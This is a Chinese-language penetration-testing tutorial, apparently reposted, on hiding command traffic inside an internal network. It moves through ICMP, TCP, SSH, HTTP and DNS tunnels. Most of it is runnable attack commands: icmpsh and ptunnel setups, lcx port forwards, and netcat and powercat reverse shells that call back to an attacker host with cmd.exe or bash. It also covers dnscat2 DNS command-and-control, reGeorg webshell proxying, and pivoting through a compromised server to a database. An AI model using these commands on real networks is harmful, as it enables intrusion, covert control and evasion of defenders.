關於內網滲透中-隱藏通信技術


概述:

根據OSI網絡模型角度分析大致可分為三類:

分類:

網絡層:IPv6隧道 ICMP隧道 GRE隧道
傳輸層:TCP隧道 UDP隧道 常規端口轉發
應用層:SSH隧道 HTTP隧道 HTTPS隧道 DNS隧道

 

一、網絡層

工具:

IPv6隧道
Socat6 6tunnel nt6tunnel

Icmp 隧道
Icmpsh

 

控制端安裝:

apt-get install python-impacket
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh

sudo python icmpsh_m.py 本機監聽IP 被攻擊機器IP

被攻擊機器執行:
icmpsh.exe -t 192.168.1.203 -d 500 -b 30 -s 128

 

 

 

 

數據流量包

 

 

 

 

PingTunnel
http://freshmeat.sourceforge.net/projects/ptunnel/

實驗拓撲:

 

 

 

 

 

 

實現效果:

 

 

 

這種攻擊場景中很常見,就是攻擊主機無法直接訪問到數據庫服務器,但是可以通過web服務器作為代理來進行訪問,具體操作如下:

攻擊主機 Linux服務器安裝ptunnel工具

Linux服務器上操作:
# ptunnel -x hack405

 

 

攻擊主機上操作:
# sudo ptunnel -p 192.168.1.14 -lp 2080 -da 10.10.202.103 -dp 3389 -x hack405

 

 

然后在攻擊主機上就可以訪問:
rdesktop 192.168.1.203:2080 -u '用戶名' -p 密碼

 

 

 

 

在Linux服務器上看下網絡層的流量

 

 

 

二、傳輸層隧道技術

Lcx 端口轉發
Lcx 是一個基於socket套接字實現的端口轉發工具,有window和Linux兩個版本,window版本為lcx.exe ,Linux的版本為portmap.
內網端口轉發
Lcx.exe -slave public IP address 4444 127.0.0.1 3389

 

 

 

Vps 上執行:
Lcx.exe -listen 4444 5555
將本機上4444端口上的所有數據轉發到本機的5555端口上
Mstsc public IPaddress:5555 訪問即可連接內網主機的3389端口

 

 

 

另外一種利用場景:

本地端口映射,在滲透測試中,如果內網的主機限制了允許開放的端口,這時候就需要進行端口復用,一般就是復用允許的端口,53 或者80 ,443之類的

lcx.exe -tran 53 192.168.1.13 3389

 

 

 

Netcat 端口轉發

使用nc進行端口掃描
Nc -v -z 192.168.1.11 20-1024

Nc 監聽
Nc -lvvp 4444

文件傳輸

目標主機開啟監聽:
nc -lp 333 > 1.txt

源文件主機開啟傳輸:
sudo nc -vn 192.168.1.14 333 < man.txt -q 1
(UNKNOWN) [192.168.1.14] 333 (?) open

正向shell

Window版本
服務端:
nc.exe -lvp 4444 -e c:\Windows\System32\cmd.exe
listening on [any] 4444 ...
192.168.1.14: inverse host lookup failed: h_errno 11004: NO_DATA
客戶端:
Nc -lvp 192.168.1.14 4444

 

 

 

 

Linux 版本
服務端:
Nc -lvp 4444 -e /bin/bash

客戶端:
Nc 192.168.1.14 4444

 

 

反向shell

客戶端監聽:
Nc -lvvp 4444
服務端:
Nc 192.168.1.13 -e c:\Windows\System32\cmd.exe

 

 

 

實驗拓撲:

 

 

 

  

環境描述:

攻擊者獲取了Linux服務器的權限,無法直接訪問數據庫服務器,但是可以通過Linux服務器來訪問數據庫服務器,現在要通過內網代理的方式,實現攻擊者直接訪問數據庫服務器

攻擊者本機監聽:
# sudo nc -lvvp 3333


數據庫服務器執行:
# nc.exe-master>nc.exe -lvp 3333 -e c:\Windows\system32\cmd.exe

Linux服務器 邊界服務器上執行
# nc -v 192.168.1.203 3333 -c "nc -v 10.10.202.103 3333"

 

 

攻擊者服務器上反彈回來數據庫服務器的cmd shell

 

 

 

Powercat
power cat是nc的power shell版本,可以通過執行命令回到本地運行,也可以使用遠程權限執行

Window上執行:
powercat -l -p 8080 -e cmd.exe -v

 

 

攻擊者kail linux
# nc 192.168.1.13 8080 -vv

 

 

 

 

通過nc反向連接powercat

Kail 主機監聽:
# nc -lvvp 8088

Window7主機執行:
# PS C:\Users\lisi\Desktop\powercat-master> powercat -c 192.168.1.203 -p 8088 -v -e cmd.exe

 

 

 

通過powercat 返回power shell
這種情況下只能在window操作系統中進行

客戶端下載powercat 並開啟監聽
PS C:\Users\Administrator\Desktop\powercat-master> powercat -l -p 9999 -v

 

 

服務器端執行:
PS C:\Users\lisi\Desktop\powercat-master> powercat -c 192.168.1.11 -p 9999 -v -ep

 

 

 

 

客戶端返回powershell

 

 

 

 

Poershellcat DNS 隧道

Kail linux 主機安裝
git clone https://github.com/iagox86/dnscat2.git
Cd dnscat2/server
gem install bundler
bundle install
sudo ruby dnscat2.rb pentest.com -e open --no-cache

# powercat -c 192.168.1.203 -p 53 -dns pentest.com -e cmd.exe

 

 

 

 

實驗拓撲:

 

 

 

環境描述:

三台主機,其中Windows7 主機可以通過ping 命令訪問 Windows server 2008 和kail linux ,kail Linux主機和Windows server 2008 之間無法訪問,現在將windows 7 作為跳板,讓kail Linux主機可以連接Windows server 2008。

# powercat -l -v -p 9999 -e cmd.exe

 

 

# powercat -l -p 8000 -r tcp:10.10.202.104:9999 -v

 

 

 # sudo nc 192.168.1.13 8000 -vv

 

 

 

三、應用層隧道技術

SSH協議
SSH常見參數說明:
-C:壓縮傳輸,提高傳輸速度
-f:將SSH傳輸轉入后台執行,不占用當前shell
-N:建立靜默連接,建立了連接,但是看不到會話
-g:允許遠程主機連接本地用戶轉發的端口
-L:本地端口轉發
-R:遠程端口轉發
-D:動態端口轉發
-p:指定SSH端口

本地端口轉發

實驗環境:

 

 

 

 

以Linux服務器192.168.1.14為跳板,將內網的數據庫服務器10.10.202.102的3389端口映射到VPS的192.168.1.203的1153端口上,再訪問VPS的1153端口,就可以訪問10.10.202.102的3389端口了。
VPS上執行如下命令:
ssh -CfNg -L 1153(vps端口):10.10.202.102:(目標端口) root@192.1681.1.13
ssh -CfNg -L 1153:10.10.202.102:3389 root@192.168.1.14

 

 

# rdesktop 192.168.1.203:1153 -u 'hack\lisii' -p 123456

 

 

遠程端口轉發

 

 

 

左側為攻擊者VPS,右側是一個小內網,包含二台服務器,內網沒有邊界,所以外部不能直接訪問內網的服務器,內網的Linux服務器可以訪問vps和數據庫服務器,目標為訪問內部的數據庫服務器。
以web服務器為跳板機,將VPS的3307端口流量轉發到10.10.202.102的3389上,然后訪問VPS的3307端口就可以訪問10.10.202.102的3389端口了

在WEB服務器上操作
# ssh -CfNg -R 3307:10.10.202.102:3389 gandolf@192.168.1.203
Vps上查看端口:

 

 

連接下試試

# rdesktop 127.0.0.1:3307 -u 'hack\lisi' -p 123456

 

 

動態轉發實驗拓撲:

 

 

 

實驗環境如上,現在目標是攻擊者通過本地訪問數據庫服務器。動態端口映射就是建立一個SSH加密的SOCKS5 SOCK4代理通道

操作如下:
Kail Linux攻擊者機器執行:
# ssh -CfNg -D 7000 root@192.168.1.14

 

 

 

設置系統代理訪問

 

 

 

 

HTTP/HTTPS 協議
reGeorg 主要功能是把內網服務器端口的數據通過HTTP/HTTPS 隧道轉發到本機,實現是基於HTTP協議

實驗拓撲:

 

 

 

目標通過端口轉發的方式在攻擊機器kail linux 上直接訪問內網10.10.202.0/24網段的機器

在攻擊服務器上下載:https://github.com/sensepost/reGeorg
並將tunnel.nosocket.php 腳本上傳到Linux服務器上,然后進行訪問驗證,是否正常工作

 

 

然后在kail linux 上執行如下命令:
# python reGeorgSocksProxy.py -u http://192.168.1.14/tunnel.nosocket.php -p 9999

 

 

 

gandolf@APT-101:~$ grep "9999" /etc/proxychains.conf 

socks4 127.0.0.1 9999

gandolf@APT-101:~$

 

 

 

DNS協議
Dnscat2
直連模式
中繼模式
支持多個會話,流量加密,使用密鑰防止中間人攻擊,內存中執行power shell腳本,隱蔽性強
操作步驟:
部署域名解析
首先需要一個域名,比如:hack.testlab
A 記錄 c2.hack.testlab 指向 192.168.1.11
NS 記錄 vpr 指向 c2.hack.testlab

安裝dnscat2
# git clone https://github.com/lukebaggett/dnscat2-powershell.git
啟動dnscat2
# sudo ruby ./dnscat2.rb vpr.hack.testlab -e open -c password --no-cache

 

 

客戶端連接

 

客戶端一般推薦使用power shell的dnscat 版本


Import-Module .\dnscat2.ps1
Start-Dnscat2 -Domain vpr.hack.testlab -DNSServer 192.168.1.203

 

 OVER! 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM